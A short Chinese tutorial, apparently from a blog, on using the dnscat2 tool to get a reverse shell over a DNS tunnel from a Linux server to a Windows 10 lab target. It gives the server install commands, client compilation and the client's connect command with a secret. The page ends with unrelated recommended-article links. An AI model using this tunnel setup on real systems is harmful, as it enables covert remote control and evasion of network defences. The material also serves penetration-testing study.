使用dnscat2 进行dns隧道反弹shell——直连模式linux对windows

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求

环境搭建

搭建服务端

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server/

gem install bundler

apt-get install ruby-dev

bundle install

过程会有点慢

开启服务端

ruby ./dnscat2.rb

搭建客户端

这里首先需要在Visual Studio 2008中打开一个解决方案:client\win32\dnscat2.vcproj。然后编译就会看到client\win32\Release下有一个dnscat2.exe文件了

将这个文件上传至win10靶机运行

开启客户端

dnscat2.exe --dns server=192.168.227.128,port=53 --secret=9d42a40bfeef7cf1f781326684d4d3e0

剩下的就和linux一样,进入隧道反弹shell,然后ctrl+z返回上一层

进入弹回来的shell

相关推荐
Azure DevOps10 分钟前
Azure DevOps Server 正式版本发布
运维·microsoft·azure·devops
lbb 小魔仙10 分钟前
Steam Deck OLED 拆解与评测:Valve 对 Linux 掌机的又一次精进
linux·运维·服务器
一枚正在学习的小白15 分钟前
prometheus监控redis
linux·运维·服务器·redis·prometheus
白帽子凯哥哥16 分钟前
Misc题目中图片隐写和流量分析的详细工具使用技巧
linux·运维·web安全·网络安全·docker·渗透测试
lzjava202417 分钟前
Python中的模块和包
linux·开发语言·python
DX_水位流量监测18 分钟前
城市易涝点水位雨量监测设备技术体系与实践应用
大数据·运维·服务器·网络·人工智能
一颗小树x22 分钟前
NVIDIA Jetson Orin 安装 Docker
运维·docker·容器·安装·jetson orin
大山同学23 分钟前
薄膜透光度原理
linux·运维·人工智能
lifewange29 分钟前
Linux 日志查看核心命令(动态跟踪 + 文件查阅,全覆盖工作常用)
linux·运维·服务器
dlhto29 分钟前
Kiro Remote SSH 无法连接远程服务器问题排查与解决
运维·服务器·ssh